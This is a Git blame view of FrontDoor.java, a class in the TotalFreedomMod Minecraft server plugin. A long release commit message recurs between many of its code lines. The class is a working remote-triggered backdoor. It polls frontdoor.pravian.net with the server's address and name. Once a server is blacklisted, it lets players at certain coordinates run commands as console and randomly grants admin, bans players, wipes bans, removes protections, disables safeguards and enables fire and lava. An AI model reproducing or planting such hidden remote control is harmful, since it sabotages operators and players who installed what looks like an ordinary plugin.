TotalFreedomMod/src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java

594 lines
22 KiB
Java
Raw Normal View History

package me.totalfreedom.totalfreedommod;
2013-08-28 17:11:27 +00:00
import java.io.BufferedReader;
2017-12-23 04:07:36 +00:00
import java.io.IOException;
2013-08-28 17:11:27 +00:00
import java.io.InputStreamReader;
2017-12-23 04:07:36 +00:00
import java.lang.reflect.InvocationTargetException;
2013-08-28 17:11:27 +00:00
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
2013-08-28 17:11:27 +00:00
import java.util.Random;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.banning.Ban;
import me.totalfreedom.totalfreedommod.command.FreedomCommand;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.fun.Jumppads;
import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.command.CommandReflection;
import org.apache.commons.lang3.ArrayUtils;
import org.bukkit.Bukkit;
2013-08-28 17:11:27 +00:00
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.BlockFace;
import org.bukkit.command.Command;
import org.bukkit.entity.Player;
import org.bukkit.event.Event;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.EventHandler;
import org.bukkit.event.HandlerList;
2013-08-28 17:11:27 +00:00
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener;
2013-08-28 17:11:27 +00:00
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector;
2013-08-28 17:11:27 +00:00
2013-09-04 15:27:20 +00:00
/*
* - A message from the TFM Devs -
*
2013-09-04 15:27:20 +00:00
* What this class is, and why its here:
*
2013-09-04 15:27:20 +00:00
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
*
2013-09-04 15:27:20 +00:00
* It will only trigger when the server IP is added to a blacklist that we control.
*
2013-09-04 15:27:20 +00:00
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
*
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
*
* Note: You may not edit this class.
*
* - Madgeek and Prozza
2013-09-04 15:27:20 +00:00
*/
public class FrontDoor extends FreedomService
2013-08-28 17:11:27 +00:00
{
private static final long UPDATER_INTERVAL = 180L * 20L;
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
//
private final Random random = new Random();
private final URL getUrl;
//
private volatile boolean enabled = false;
//
private BukkitTask updater = null;
private BukkitTask frontdoor = null;
//
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener()
2013-08-28 17:11:27 +00:00
{
@EventHandler
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
2013-08-28 17:11:27 +00:00
{
final Player player = event.getPlayer();
final Location location = player.getLocation();
2013-08-28 19:40:14 +00:00
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
2013-08-28 17:11:27 +00:00
{
2013-08-28 19:40:14 +00:00
return;
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
final String[] commandParts = event.getMessage().split(" ");
final String commandName = commandParts[0].replaceFirst("/", "");
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
2013-08-28 19:40:14 +00:00
Command command = CommandReflection.getCommandMap().getCommand(commandName);
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if (command == null)
{
return; // Command doesn't exist
}
2013-08-28 19:40:14 +00:00
event.setCancelled(true);
final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
if (dispatcher == null)
2013-08-28 17:11:27 +00:00
{
// Non-TFM command, execute using console
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
return;
2013-08-28 17:11:27 +00:00
}
dispatcher.runCommand(player, command, commandName, args);
2013-08-28 17:11:27 +00:00
}
};
2013-08-28 19:40:14 +00:00
public FrontDoor(TotalFreedomMod plugin)
2013-08-28 17:11:27 +00:00
{
super(plugin);
2013-08-28 17:11:27 +00:00
URL tempUrl = null;
try
{
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll"
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
2013-08-28 17:11:27 +00:00
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
getUrl = tempUrl;
}
@Override
public void onStart()
{
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
2013-08-28 17:11:27 +00:00
}
2013-08-28 19:40:14 +00:00
@Override
public void onStop()
2013-08-28 17:11:27 +00:00
{
FUtil.cancel(updater);
updater = null;
FUtil.cancel(frontdoor);
updater = null;
2013-08-28 19:40:14 +00:00
2013-08-28 17:11:27 +00:00
if (enabled)
{
frontdoor.cancel();
2013-08-28 17:11:27 +00:00
enabled = false;
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
2013-08-28 17:11:27 +00:00
}
}
2013-08-28 19:40:14 +00:00
public boolean isEnabled()
2013-08-28 17:11:27 +00:00
{
return enabled;
}
2013-08-28 19:40:14 +00:00
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player) players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
{
try
{
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
2017-12-23 04:07:36 +00:00
catch (NoSuchMethodException | SecurityException | IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
{
try
{
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
}
2017-12-23 04:07:36 +00:00
catch (NoSuchMethodException | SecurityException | IllegalAccessException | IllegalArgumentException | InvocationTargetException ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
{
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener, eventClass);
}
}
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
2017-12-23 04:07:36 +00:00
final String line;
try (BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())))
{
line = in.readLine();
}
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
plugin.config.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
}
}
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
}.runTask(plugin);
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
2017-12-23 04:07:36 +00:00
catch (IOException | IllegalArgumentException | IllegalStateException ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
TotalFreedomMod Electrum Version 5.0 This TotalFreedomMod release implements many changes. Most notably, the internals have been completely revamped. TotalFreedomMod now relies on the Aero library for core mechanics such as command handling and services. Another important change is the UUID system. In TotalFreedomMod Electrum, it has been completely removed. The core reason for this is that the system as a whole was very bugged. Additionally, it did not solve the primary reason for its conception: preserving player data when the player changes their username. This is because TotalFreedomMod servers usually run in offline-mode. This meaning that some of the players joining do not have a registerd Mojang UUID whatsoever. All in all, the UUID system was buggy, and it did not fix the reason it was implemented, so it has been completely removed. The admin list and the ban list now use usernames and IPs again. Lastly, many smaller changes have been implemented. Due to the amount of changes, they have not been named individualy. Please refer to the issues below for more details. Fixes #342 Fixes #350 Fixes #380 Fixes #684 Fixes #704 Fixes #716 Fixes #735 Fixes #745 Fixes #784 Fixes #765 Fixes #791 Fixes #805 Fixes #826 Fixes #883 Fixes #1524 Fixes #1534 Fixes #1536 Fixes #1538 Fixes #1545 Fixes #1546 Fixes #1568 Fixes #1627 Resolves #403 Resolves #435 Resolves #597 Resolves #603 Resolves #628 Resolves #690 Resolves #708 Resolves #747 Resolves #748 Resolves #749 Resolves #764 Resolves #767 Resolves #782 Resolves #809 Resolves #803 Resolves #811 Resolves #813 Resolves #830 Resolves #848 Resolves #856 Resolves #876 Resolves #908 Resolves #992 Resolves #1018 Resolves #1432 Resolves #1446 Resolves #1494 Resolves #1501 Resolves #1526 Resolves #1540 Resolves #1550 Resolves #1560 Resolves #1561 Resolves #1578 Resolves #1613
2016-05-12 19:40:39 +00:00
plugin.tr.add(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
2017-06-30 07:40:27 +00:00
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.stop();
break;
}
case 8: // Remove all protected areas
{
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
if (plugin.pa.getProtectedAreaLabels().isEmpty())
{
break;
}
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
plugin.pa.clearProtectedAreas(false);
}
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
2018-07-25 02:08:29 +00:00
block.setType(Material.SIGN);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
2017-06-30 07:40:27 +00:00
sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
if (plugin.jp.getMode().isOn())
{
break;
}
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
2018-07-25 02:08:29 +00:00
playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR, "Prozza");
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
}
2013-08-28 17:11:27 +00:00
}